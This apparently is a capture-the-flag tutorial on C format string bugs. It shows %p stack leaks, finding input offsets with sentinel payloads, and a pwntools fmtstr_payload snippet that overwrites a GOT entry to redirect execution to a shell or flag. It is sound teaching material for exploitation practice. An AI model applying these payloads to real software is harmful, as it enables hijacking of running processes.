intermediatecat/pwn~2 min read

Format String Bugs

Use printf's %p and %n specifiers to leak memory and write arbitrary values anywhere in a process.

// prerequisite reading

The bug

printf(user_input) directly without a format string lets the attacker supply the format string themselves.

char buf[128];
fgets(buf, 128, stdin);
printf(buf);     // BUG: buf is the format string

This gives two primitives:

  • Read anywhere%p or %s leaks stack and pointer values.
  • Write anywhere%n writes the number of bytes printed so far to a pointer on the stack.

Reading the stack with %p

Send %p.%p.%p.%p.%p.%p.%p.%p — each %p pops one argument off the (imagined) argument list, which in practice reads consecutive stack words.

input:   %p.%p.%p.%p.%p.%p
output:  0x7ffd...  0x400742  0x1  0x786c  0x70252e70252e  ...

To target a specific stack offset, use the positional specifier %7$p (read the 7th argument).

Finding your input on the stack

Send a recognisable sentinel with format specifiers:

payload = b"AAAA" + b".%p" * 30
io.sendline(payload)
# Look for 0x41414141 in the output — that's offset N

Once you know offset N, read that slot with %N$s to dereference it as a string pointer.

Writing with %n

%n writes the total character count printed so far to the address in the corresponding argument. Use %hhn for one byte, %hn for two bytes.

from pwn import *

elf = ELF("./vuln")
target = elf.got['exit']    # overwrite exit() in the GOT
win    = elf.symbols['win']

payload = fmtstr_payload(offset, {target: win})  # pwntools does the math
io.sendline(payload)

fmtstr_payload builds the exact format string to write arbitrary values at arbitrary addresses — you only need the stack offset your input is at.

Full leak → win flow

  1. Send %p chain → find the stack canary or libc address.
  2. Use the leak to defeat ASLR.
  3. Overwrite a GOT entry to redirect a future function call.
  4. Trigger the call → shell or flag.